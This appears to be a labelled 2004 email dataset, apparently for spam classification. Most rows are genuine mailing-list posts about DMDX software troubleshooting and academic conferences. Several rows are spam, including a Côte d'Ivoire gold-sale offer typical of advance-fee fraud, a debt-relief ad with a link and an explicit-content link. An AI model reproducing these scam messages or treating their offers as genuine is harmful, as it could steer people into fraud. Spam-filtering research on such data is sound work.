Palumbo | | Dipartimento di Istituzioni Economiche e Finanziarie | | Università di Macerata | | Via Crescimbeni, 20 | | 62100 MACERATA | | Fax: +39 0733 2583205 | | Phone: +39 0733 2583201 | | Mobile phone: +39 320 4393974 | +-------------------------------------------------------+ | Università di Napoli Federico II | | Dipartimento di Matematica e Statistica | | Phone: +39 081 675118 | | Fax: +39 081 675009 | +=======================================================+",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 10 Nov 2004 18:34:59 -0700",CCA 2005: mark your calendars,"------------- Begin Forwarded Message ------------- From: Peter Hertling CCA 2005, the Second International Conference on Computability and Complexity in Analysis, will take place in Kyoto, Japan, August 26-29, 2005. More detailed information will soon be available at http://cca-net.de/cca2005 yours sincerely, Peter Hertling ------------- End Forwarded Message -------------",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 10 Nov 2004 21:30:33 -0700",workshop on applications of interval methods: mark your calendar,"Dear Friends, I am forwarding this brief very preliminary info so that you may mark your calendar for the dates and plan other meeting accordingly. Vladik ************************************************************************** From: Kaj Madsen Re: Workshop on Applications of Interval Methods ... In August 2005, we are again arranging a workshop in Copenhagen on interval analysis and its applications. This time, the focus will be on applications. The Second Scandinavian Workshop on Interval Methods and Their Applications will take place at the Technical University of Denmark during August 25-27, 2005. ... Best wishes Kaj.",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 10 Nov 2004 22:13:27 -0700",mark your calendars: IEEE Conference on Granular Computing ," Dear Friends, Granular computing is a general idea that includes interval granules as a particular case. In view of this, it may be of intereste to the folks from the interval computations community, specially those who are interested in relations between intervals and fuzzy and knowledge representation, that the Administrative Committee of the IEEE Computational Intelligence Society has recently approved the proposal to hold the IEEE International Conference on Granular Computing at Tsinghua University, Beijing, China, July 25-27, 2005. Professors T.Y. Lin and Ronald Yager kindly agreed to serve as General Chairs of this conference. This conference will be held back-to-back with the 11th World Congress of the International Fuzzy Systems Organization IFSA'05, Beijing, China, July 28-31, 2005. ",0,0 Hoggard Patience ,XXXXXXXX@XXXX.XXXXXXXXXX.XXX,"Thu, 11 Nov 2004 00:46:20 -0500",American Fat Reducing,"a wingmen it bernini be pearson be dearth , beaujolais ",1,0 Latoya Hand ,DMDX@psy1.psych.arizona.edu,"Thu, 11 Nov 2004 02:17:32 -0500",It's Latoya Hand dchanges," Explict schoolg!rls of the universe http://fundeadnq.com >>> levb for augg about andardisieru 375580 >>> cleophanes during lungsausglei nkzw ",1,1 Nataliya Bochukova ,romanianclub@columbia.edu,"Thu, 11 Nov 2004 10:38:05 -0500",International Party,"Hi, Amnesty International is holding an event this saturday night at the Intercultural Resource Center, and with their cosponsorship, on behalf of Yury Bandazhevsky, a prisoner of conscience in Belarus. Dr. Bandazhevsky devoted most of his working life to investigating the effects of the 1986 Chernobyl nuclear reactor explosion upon the people of southern Belarus. A respected medical academic, his research led him to conclusions critical of the response of the Belarussian government to the disaster. The administration responded by arresting him in 1999. He was charged with crimes under ""anti-terrorism"" legislation. In 2001 he was released from prison pending trial but was returned to prison after a court convicted him of accepting bribes from students seeking admission to the Gomel Medical Institute, of which he is the founder and rector. The evidence supporting his conviction was based on the testimony of one person, who herself admitted accepting bribes from students. This event will be a party to raise money for postage for letters we are sending to President Lukashenka of Belarus on Dr. Bandazhevksy's behalf. We would like to involve as many like-minded organizations as possible in our efforts to help him. In terms of cosponsorship, we don't request any financial support, due to the genorosity of the IRC in hosting the event. We would love, however, to have as many members from your organization as possible attend. It would be very helpful if you could forward an announcement about the event to your listerv, which I've appended below. We will continue working on Dr. Bandazhevsky's case throughout the year. If this is something you think your group would be interested in getting involved with, please let me know. It would be a great opportunity for us to combine our strengths for a common cause. best, Azatuhi Ayrikyan Columbia University Amnesty International 917-514-3985 --------------------------- Always wanted to make a difference while having tons of fun? Now's your chance! Come to the PARTY FOR PRISONERS OF CONSCIENCE Your $2 at the door will support efforts to release Yuri Bandazhevsky of Belarus and Sgt. Camilo Mejia Castillo of the US military. ""Yury Bandazhevsky (, former director of the Medical Institute in Gomel (Belarus), sentenced to eight years imprisonment in June 2001 officially for ""corruption"", is actually prosecuted and undergoing severe treatment in jail because of his scientific work on children diseases following the Chernobyl disaster."" (EUROSCIENCE) Saturday, November 15th,10:00 PM At the Intercultural Resource Center, 552 W 114th St, 2nd Floor Sponsored by Columbia University Amnesty International and the Intercultural Resource Center.",0,0 """Vavilikolanu, Seshu"" ",garg@ece.utexas.edu,"Thu, 11 Nov 2004 20:52:55 -0800",Assignment 3,"Prof. Garg, I am attaching my assignment 3 solutions in a word document. I have not written questions in the document, only answers were there. I hope this is ok. I had minor problems in importing correct symbols. Thanks, - Seshu Executive Software Engineering, SWE 2005 EMail: seshu.vavilikolanu@intel.com Intel Corporation, Austin, TX. Tel: 512-314-1184 (work) <> -----Original Message----- From: owner-garg049@lists.cc.utexas.edu [mailto:owner-garg049@lists.cc.utexas.edu] On Behalf Of Vijay K. Garg Sent: Monday, November 08, 2004 3:26 PM To: Veena Patwari Cc: Garg049@lists.cc.utexas.edu Subject: Re: Assignment 3 You can submit it in the class. Handwritten is fine. Veena Patwari wrote: > Dr. Garg, > > Can I submit the assignment in class or do I need to email it to TA? > Also, is it okay if it is handwritten and not typed (I mean not a word > document)? > Thanks! > > Regards, > Veena > > AIX Device Configuration Development > Phone: (512) 838-7926 T/ L: 678-7926 Fax: (512) 838-3882 Email: > veena@us.ibm.com > -- Vijay Kumar Garg Professor, Engineering Foundation Fellow, Electrical and Computer Engineering Department, University of Texas at Austin, Austin, TX 78712 phone: (512) 471-9424 email:garg@ece.utexas.edu fax:(512) 471-5907 home page URL: http://www.ece.utexas.edu/~garg/ Address for Fed Ex, Airborne & UPS deliveries: 1 University Station C0803 Austin, TX 78712-0240 USA Office Address: ENS (Engineering Science Building) 516, ENS is located on 24th & Speedway.",0,1 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Nov 2004 14:55:56 +0000",[DMDX] Re: faulty presentation,"Hi all, thanks for the help. In the end, I had to change my font size and use the OverSize command and I'm now using DMDX for really bad video cards. Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""j.c.f."" : > At 03:11 PM 11/10/2004 +0000, you wrote: > >Hi All, > > > >I'm running a lexical decision task using a black background and white > >stimuli. > >On some trials there are white dots on a line below and/or above the > >stimulus--what are these and how can I get rid of them? > > You need to change the options as the font you're using is > bigger than Windows says it is. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > PHILANTHROPIST, n. A rich (and usually bald) old gentleman who > has trained himself to grin while his conscience is picking his > pocket. > - Ambrose Bierce > The Devil's Dictionary > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Nov 2004 08:17:29 -0700",[DMDX] Re: faulty presentation,"At 02:55 PM 11/12/2004 +0000, you wrote: >Hi all, > >thanks for the help. In the end, I had to change my font size and use the >OverSize command and I'm now using DMDX for really bad video cards. Hmm, I would have thought something like would have been sufficient. Not that using that shortcut will necessarily hurt anything, it will make extended tachistoscopically short displays more prone to errors but if you don't see errors in your AZK files you're probably fine using that shortcut. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Who needs companionship when you can sit alone in your room and drink?",0,0 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Nov 2004 18:31:09 +0000",[DMDX] Re: faulty presentation,"Hi, the command (without DMDX for really bad video cards) did the trick too. I should have tried using the larger values before. I saw in the documentation that Arial is a good font to use--what would the recommended font size be? I'm using Times New Roman 12 at the moment. Thanks again, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""j.c.f."" : > At 02:55 PM 11/12/2004 +0000, you wrote: > >Hi all, > > > >thanks for the help. In the end, I had to change my font size and use the > >OverSize command and I'm now using DMDX for really bad video cards. > > > Hmm, I would have thought something like would > have been sufficient. Not that using that shortcut will necessarily hurt > anything, it will make extended tachistoscopically short displays more > prone to errors but if you don't see errors in your AZK files you're > probably fine using that shortcut. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Who needs companionship when you can sit alone in your room > and drink? > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Nov 2004 14:29:08 -0700",[DMDX] Re: faulty presentation,"At 06:31 PM 11/12/2004 +0000, you wrote: >Hi, > >the command (without DMDX for really bad video >cards) did >the trick too. I should have tried using the larger values before. Yeah, I guess the really bad shortcut would fix it as there aren't screen buffers hanging around from eons ago. Never thought of that. >I saw in the documentation that Arial is a good font to use--what would the >recommended font size be? I'm using Times New Roman 12 at the moment. No recommendations, it's whatever size you like the display to be. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HABIT, n. A shackle for the free. - Ambrose Bierce The Devil's Dictionary",0,0 Rashmi Abalos ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 13 Nov 2004 02:08:01 -0400",Re: oawyo news,"Dea w r Home O v wne a r , Your cr k ed e it doesn't matter to us ! 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",1,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sun, 14 Nov 2004 12:03:42 -0700",FUZZ-IEEE'05 deadline extended,"Dear Friends, I have just been informed that the deadline for the 2005 IEEE International Conference on Fuzzy Systems FUZZ-IEEE'2005, Reno, Nevada, May 22-25, 2005, has been extended to December 20, 2004. As you know, the organizers are very much interested in having a good interval session at this conference, they encourage us to send more submissions. Please check the conference webpage http://www.fuzzieee2005.org/ for more details. Thaks a lot. Vladik ************************************************************************* Subject: FUZZIEEE 2005 From: Raghuram Krishnapuram ... Please contact your professional colleagues and inform them about the extended deadline. We need to encourage more submissions. Thanks. Raghu Krishnapuram Manager, Information Management IBM India Research Lab Block 1, Indian Institute of Technology Hauz Khas, New Delhi 110016 INDIA Phone - Direct: +91 11 5129 2200; Phone - Board: +91 11 2686-1100 (x 2200) Tie Line: 92 45200 Fax: +91 11 2686-1555",0,1 Stephen Salbod ,DMDX ,"Mon, 15 Nov 2004 13:41:02 -0500",[DMDX] ,"Hi, I'm a Newbie trying to learn DMDX. I've been using the online tutorials and running the DMDX - paradigm series. Specifically, I have been following Mike Ford's tutorial (www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_tutorial.html). I downloaded examples (zipped files containing control files, speech files, and graphic files) and I'm experiencing difficulty with a file identified as ex1bmp1.rtf . When I run it in DMDX I get no errors, but the bmp files are not displayed. I didn't experinece any problems with the downloaded wav files. I've updated my graphic driver (Intel[R] 82845G/GL/GE/PE/GV) for my monitor (Samsung 955DF). I downloaded and install DirectX 9c. None of this help the situation. Oh, I forgot to mention, that I'm running XP (sp1) on a HP Pavilion. All suggestions are welcome in my mailbox. Thank you, --Steve ",0,0 Scott Hayes ,DMDX ,"Mon, 15 Nov 2004 16:40:22 -0700",[DMDX] DirectDraw Error,"Hi Jonathon, I've tested approximately 75 subjects on a Windows 2000 machine using the same DMDX program, and things have worked just fine--until this morning. The syntax check didn't output any errors, but when I ran the script, the following message appeared: ""Create memory-120x-17 surface for qptr failed. Unknown directdraw error (8007000e{14}). I found the message copied below in the list archives, but I'm not sure if it's relevant since the error message is different and my program has worked fine until now. Since multiple people use the machine, I'm in the process of trying to determine if anything was downloaded that may be corrupting DMDX. In the mean time, do you have any suggestions for what the source of the error might be? Thanks, Scott j.c.f.'s ListServ Threader V1.4.01 Date: Fri, 14 Mar 2003 09:24:36 -0700 From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Direct Draw error Hmm, could be DirectX 9 but seeing as you probably can't get rid of it you'll have to try some newer video drivers. If you're using the most recent ones then you can try some different color depths, either 8 bit (not recommended but you may have no choice) or 24 or 32 bit. If you have another video card perhaps you can try that. OTOH perhaps this is another manifestation of whatever instability it is that VC 6 has introduced into DMDX and if nothing else alters the behavior you'll have to wait till I can figure out what's wrong -- I suspect I have located the basic region of the failure, it appears to be the RTF parser. At 01:20 PM 3/14/2003 +0100, you wrote: >I am getting a frequent but intermittent crash of DMDX from an ""Unknown >DirectDraw Error"" with the message: DDS2 memory to qptr Blt failed! >Unknown DirectDraw Error (80004001 [16385]) > >As you can see from the DMDX diagnostics file (below) I am using the >current version of DMDX and also DirectX version 9.0 > >Does anyone have any clues? > >Thanks, > >Derek > > >#### extract of DMDX script which offendeth #### > > > Fri Jan 03 14:24:28 2003 > >2000 / / / / ; >1000 ""beep.wav"" / ; >1000 ""COVERT_intro.wav"" /; >0 ""press mouse to begin""; > ># CRASH OCCURS HERE # > >^244 / 0.5> ""."" , * > ""O"" / > ""+"" / ""."" ; > >#### end of script extract #### > > >#### diagnostic file #### >DMDX Vers. 3.0.0.13 03/14/2003 12:19:17 on machine Joni >DMDX Vers. 3.0.0.13 >Item File >Parsed file is >Getting file -- Wait >No scramble >Scrambled file is >EXPERIMENT READY >4 video memory buffers at 1024x768 16 bpp > >2000 / / / / ; >Preparation A 0.95ms, B 39.43ms > >1000 ""beep.wav"" / ; >DQ adjusted by 1 ticks to allow for sound >Preparation A 27.01ms, B 0.54ms > >1000 ""COVERT_intro.wav"" /; >DQ adjusted by 1 ticks to allow for sound >Preparation A 1132.20ms, B 0.58ms > >0 ""press mouse to begin""; >DDS2 memory to qptr Blt failed! >Unknown DirectDraw Error (80004001 [16385]) >JOB ABORTED > >#### end of diagnostic file ####",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Nov 2004 18:14:59 -0700",[DMDX] Re: DirectDraw Error," My guess is that Microsoft's GDI+ patch has broken NVIDIA's and possibly other manufacturer's drivers -- at least busted one of the features that DMDX uses. Until I get the thing under a microscope here your best bet is to use the DMDX for bad video cards shortcut or possibly the DMDX for GeForce video cards shortcut. You could apply SP2 to the XP machine with the problem as I've yet to actually reproduce the failure here and all the machines here are SP2. At 04:40 PM 11/15/2004 -0700, you wrote: >Hi Jonathon, > I've tested approximately 75 subjects on a Windows 2000 machine using > the same DMDX program, and things have worked just fine--until this > morning. The syntax check didn't output any errors, but when I ran the > script, the following message appeared: ""Create memory-120x-17 surface > for qptr failed. Unknown directdraw error (8007000e{14}). > I found the message copied below in the list archives, but I'm not > sure if it's relevant since the error message is different and my program > has worked fine until now. It's not. > Since multiple people use the machine, I'm in the process of trying to > determine if anything was downloaded that may be corrupting DMDX. In the > mean time, do you have any suggestions for what the source of the error > might be? The web tosses up this one: When running an application a message box pops up containing the error message: Run-time error '-2147024882 (8007000e)' System Error &H80004005 (-2147467259). Unspecified error. Meaning: This error is a VB/VBA automation error. Details on how to interpret this and similar errors can be found at: http://support.microsoft.com/support/kb/articles/Q186/0/63.ASP. Specifically this error means 'Out of memory'. Possible Cause and Remedy: This error has been encountered when an application was attempting to write to the NT/W2K event log but the NT/W2K event log was full. The event log was set to 'Override events older than NN days' (and there was no system message indicating that it was full). Changing this to 'Overwrite Events as Needed' removed the error. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HABIT, n. A shackle for the free. - Ambrose Bierce The Devil's Dictionary ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 16 Nov 2004 10:05:21 +0000",[DMDX] Re: ,"At 13:41 15/11/2004 -0500, you wrote: >Hi, > > Im a Newbie trying to learn DMDX. Ive been using the online > tutorials and running the DMDX paradigm series. Specifically, I have been > following Mike Fords tutorial > (www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_tutorial.html). I downloaded > examples (zipped files containing control files, speech files, and > graphic files) and Im experiencing difficulty with a file identified as > ex1bmp1.rtf . When I run it in DMDX I get no errors, but the bmp files > are not displayed. I didnt experinece any problems with the downloaded > wav files. Hi Steve I made that stuff a long time ago and haven't looked at it for a long time. It is possible that some of it is out of date. I will download it myself and check it still works on my machine and get back to you - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Dr. Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. 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More over a text frame starts at the same time of the audio frame. the following is one of my item lines: +2 %0 ""cepe_2"" /*""2""/; Does anyone ever knon of a promblem like this? Thank you in advance for answers suggestions or ohter. Leonardo",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 18 Nov 2004 08:00:54 -0700",[DMDX] Re: short audio files,"At 02:20 PM 11/18/2004 +0100, you wrote: >Hi Everyone, > >I'm having problems tring to make Dmdx run short wav files of about 0.5 >sec. This is a continuum for a categorization test so the shortest files >are of 0.51 sec and the longest are of... say 0.60 sec. The wav files have >sample frequencies of 22050 Hz, and are instances of the word ""step"", this >implies that after a periodic sound (the vowel) there is some silence and >the a burst of energy (the 'p'). >Now the two shortest ones have a strange behaviour: the 'p' or its last >part is repeated. > >I had set the item file for continous run, whit a fd of 115 ticks (on my >notebook 16.674 ms) and a delay between items of 90 thicks. More over a >text frame starts at the same time of the audio frame. > >the following is one of my item lines: > >+2 %0 ""cepe_2"" /*""2""/; > >Does anyone ever knon of a promblem like this? Yeah, sounds like your audio card's drivers need updating. Laptops typically have really miserable drivers and it sounds like an audio buffer is being played twice. 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It sounds like something's gotta be interfering with the machine's ability to render bitmaps if they're displaying as black. If you've got another hard disk lying around maybe you can try a clean install of XP and see if the problem goes away. If the onboard video is still enabled but not used perhaps disabling it in the BIOS will change things. If you're using an 8 bit (256 color) video mode use a 16 or 32 bit one instead -- the bitmaps are usually safe enough as 8 bit as DMDX promotes them to whatever the display's color depth is but just about all 8 bit video modes are busted these days. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lady Astor: ""If you were my husband, I'd poison your tea."" W.Churchill: ""Madam, if I were your husband, I'd drink it!"" ",0,0 Stephen Salbod ,DMDX@psy1.psych.arizona.edu,"Sat, 20 Nov 2004 20:16:48 -0500","[DMDX] RE: Re: Unable to display image files (bmp,jpg)","J.C.F. Thanks for quick reply. Over here at Pace University all our machines have Symantec Corporate AV program installed. I am unable to close the program. I do hope that is not the problem. I took part of your advise and install DMDX on a Dell Optiplex GX 240 machine with ATI RAGE 128 Pro Ultra GL AGP with display settings at 1024 by 768 pixel (Color set 32bit). I'm still not able to see bitmaps in the DMDX. I'm going to try to get to a machine that has no AV software on it, and see what happens. Thanks for the suggestions, Steve -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Saturday, November 20, 2004 7:23 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Unable to display image files (bmp,jpg) At 06:12 PM 11/20/2004 -0500, you wrote: > I installed GeForce FX 5500 128MB DDR card to see whether the > integrated system was the problem. The card didn t help. > >I m still hoping that someone has a solution. And you've swept the machine for malware and viruses and so forth? You've tried turning off the anti-virus if it's got one? Uninstalling other weird software? It sounds like something's gotta be interfering with the machine's ability to render bitmaps if they're displaying as black. If you've got another hard disk lying around maybe you can try a clean install of XP and see if the problem goes away. If the onboard video is still enabled but not used perhaps disabling it in the BIOS will change things. If you're using an 8 bit (256 color) video mode use a 16 or 32 bit one instead -- the bitmaps are usually safe enough as 8 bit as DMDX promotes them to whatever the display's color depth is but just about all 8 bit video modes are busted these days. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lady Astor: ""If you were my husband, I'd poison your tea."" W.Churchill: ""Madam, if I were your husband, I'd drink it!"" ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 vance collins ,Tama Gordon ,"Fri, 19 Nov 2004 21:46:52 +1100",Get rid of all that you are indebted for without sending an other dollar," all of your bank credit card obligation , no ! To complete more data with no accountability, immediately go to the web address below. http://www.servbright.com/21/ This is the keen and well-known advice that this letter is advertiisment. Our site is P0B0X 1 20Ob Orranj Estadd Aaruba. To put an end to accept go to link over. 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I took part of your advise >and install DMDX on a Dell Optiplex GX 240 machine with ATI RAGE 128 Pro >Ultra GL AGP with display settings at 1024 by 768 pixel (Color set 32bit). >I'm still not able to see bitmaps in the DMDX. > I'm going to try to get to a machine that has no AV software on it, >and see what happens. Have you tried the DMDX demo and it's bitmaps? Perhaps the ones you are trying to use no longer work (although I'll be impressed, it's not like that code has changed in half a decade). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lady Astor: ""If you were my husband, I'd poison your tea."" W.Churchill: ""Madam, if I were your husband, I'd drink it!"" ",0,0 Stephen Salbod ,DMDX@psy1.psych.arizona.edu,"Sun, 21 Nov 2004 19:37:53 -0500","[DMDX] RE: RE: Re: Unable to display image files (bmp,jpg)","JCF Thanks for the support. I managed to back into a solution based on your hints. When I enter I have to included top left corner x and y co-ordinates and the bottom right: e.g., """". Two digit parameters produce on my machine a DDERR_INVALIDPARAMS error. I googled the error, but I'm not familar with game development to make any sense of the responses I got. The only word that was recognizable was DirectX. Again, thank you for the help. --Steve -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Sunday, November 21, 2004 10:45 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: Unable to display image files (bmp,jpg) At 08:16 PM 11/20/2004 -0500, you wrote: >J.C.F. > Thanks for quick reply. Over here at Pace University all our >machines have Symantec Corporate AV program installed. I am unable to close >the program. I do hope that is not the problem. I took part of your advise >and install DMDX on a Dell Optiplex GX 240 machine with ATI RAGE 128 Pro >Ultra GL AGP with display settings at 1024 by 768 pixel (Color set 32bit). >I'm still not able to see bitmaps in the DMDX. > I'm going to try to get to a machine that has no AV software on it, >and see what happens. Have you tried the DMDX demo and it's bitmaps? Perhaps the ones you are trying to use no longer work (although I'll be impressed, it's not like that code has changed in half a decade). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lady Astor: ""If you were my husband, I'd poison your tea."" W.Churchill: ""Madam, if I were your husband, I'd drink it!"" ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 21 Nov 2004 21:59:53 -0700","[DMDX] RE: RE: Re: Unable to display image files (bmp,jpg)","At 07:37 PM 11/21/2004 -0500, you wrote: >JCF > Thanks for the support. I managed to back into a solution based on your >hints. When I enter I have to included top left corner x and y >co-ordinates and the bottom right: e.g., """". Two digit >parameters produce on my machine a DDERR_INVALIDPARAMS error. > I googled the error, but I'm not familar with game development to make >any sense of the responses I got. The only word that was recognizable was >DirectX. It means that whatever parameters DMDX passed to DirectX to move the BMP into screen memory were invalid. This can happen if the top is below the bottom or the left is right of the right one or the coordinates are too far off the screen. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A mind is like a steel trap: Rusty, and illegal in 37 states.",0,0 mariam abou ,mariam_abou222@yahoo.ca,"Mon, 22 Nov 2004 07:55:10 -0500",Gold Offer For Sale ,"Dear Sir, We are a consultant firm under the management of Mallam(Dr)Fahdel Aboubacar Toure, We presently have in our possession 183 kg (one hundred and eighty three) of pure quality gold 22, 7 carat+. With the following quality: Quantity: 183kgs. Purity: 999.9/1000 Hallmark: International accepted. Price: U.S$ 5,180 per kilo.(negociable) The origin of this product is Liberia/Ghana. We are currently seeking for a reputable buyer who will be able to come down here in (Abidjan, IVORY COAST) for inspection as the product is here in a safe keeping warehouse in Abidjan. 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Ca locatie intiala, cred ca the Romanian Cultural Center on 38th and 2nd ar fi o optiune sau daca nu poate are cineva o idee mai buna. Am sa pun la dispozitie jocurile si dictionare de Scrabble. Daca sinteti interesati, send me an email at Roxana.Popovici@ubs.com. Multumesc, Roxana Visit our website at http://www.ubs.com This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message which arise as a result of e-mail transmission. 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",DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 07:38:10 -0700",[DMDX] graphics not displaying," I have a repeated instance of the recent graphics not displaying error so it's real and no doubt I'll have a solution soon but till then the version 3.0.4.3 would appear to be the one to use rather than the latest ones if you want to display JPEGs. http://www.u.arizona.edu/~jforster/dmdx/DMDX3043.ZIP /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A mind is like a steel trap: Rusty, and illegal in 37 states. ",0,1 Stephen Salbod ,DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 12:55:21 -0500",[DMDX] RE: graphics not displaying,"Thanks JCF, I'll remove the recent DMDX and install the earlier one. In the mean time I have two questions (Doesn't everybody ). 1) I am using commercially available JPEG images (photographs). When I run an experiment I am getting a degradation of the images; it looks like a grid is bleeding into the image. 2) I am trying to run a recognition experiment whereby I am presenting target pictures to be test later. I want the script below to present each Amusement Park picture for 250ms followed by 100ms ISI. When I run this script, rather than get a 2000ms overall time, I get an overall time in the area of 7000ms. $ 0 ""Press SPACEBAR to start""; $ ^001 * ""Amusement Park 014""/; ^002 * ""Amusement Park 027""/; ^003 * ""Amusement Park 049""/; ^004 * ""Amusement Park 061""/; ^005 * ""Amusement Park 090""/; $ 0 ""The End. Thank You.""; $ Any tips will be greatly welcomed. --Steve -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Tuesday, November 23, 2004 9:38 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] graphics not displaying I have a repeated instance of the recent graphics not displaying error so it's real and no doubt I'll have a solution soon but till then the version 3.0.4.3 would appear to be the one to use rather than the latest ones if you want to display JPEGs. http://www.u.arizona.edu/~jforster/dmdx/DMDX3043.ZIP /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A mind is like a steel trap: Rusty, and illegal in 37 states. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 11:20:26 -0700",[DMDX] DMDX 3.1.1.3,"Ok, found the missing JPEG problem and it's fixed in 3.1.1.3. No, it wasn't Microsoft's GDI+ patch (thankfully) and was instead a slight oversight when I made 1.0 a scaled value for BMP multipliers instead of pixel coordinate 1 -- a change so trivial I didn't even log it. And it tended not to show up around here because we tend to use G instead of or . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ One nice thing about egotists: they don't talk about other people.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 23 Nov 2004 11:30:17 -0700",[DMDX] Re: RE: graphics not displaying,"At 12:55 PM 11/23/2004 -0500, you wrote: >Thanks JCF, I'll remove the recent DMDX and install the earlier one. > >In the mean time I have two questions (Doesn't everybody ). > >1) I am using commercially available JPEG images (photographs). When I run >an experiment I am getting a degradation of the images; it looks like a grid >is bleeding into the image. That's GDI scaling your images for you, none too sophisticated. If you need them scaled better than that either make the source images much larger or do the scaling yourself with some program that re-samples the image and thus does a better job than GDI does. I like IrfanView myself, free and it does a good job of scaling things. http://www.irfanview.net/ >2) I am trying to run a recognition experiment whereby I am presenting >target pictures to be test later. I want the script below to present each >Amusement Park picture for 250ms followed by 100ms ISI. When I run this >script, rather than get a 2000ms overall time, I get an overall time in the >area of 7000ms. > > T is in milliseconds, it's going to be a rare person that can react in 100ms. > >$ >0 ""Press SPACEBAR to start""; >$ >^001 * ""Amusement Park 014""/; >^002 * ""Amusement Park 027""/; >^003 * ""Amusement Park 049""/; >^004 * ""Amusement Park 061""/; >^005 * ""Amusement Park 090""/; >$ >0 ""The End. Thank You.""; >$ > >Any tips will be greatly welcomed. You want to use the parameter to set your ISI, by default it's something around 1/2 a second. Which still doesn't explain your large ISI. It probably takes your machine eons to read those pictures, have a look at the preparation times in the diagnostic 